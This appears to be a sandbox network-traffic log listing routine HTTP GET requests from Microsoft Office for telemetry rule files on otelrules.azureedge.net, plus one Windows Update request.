Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SPWne69HwSwaO+u&MD=RFePRBpH HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
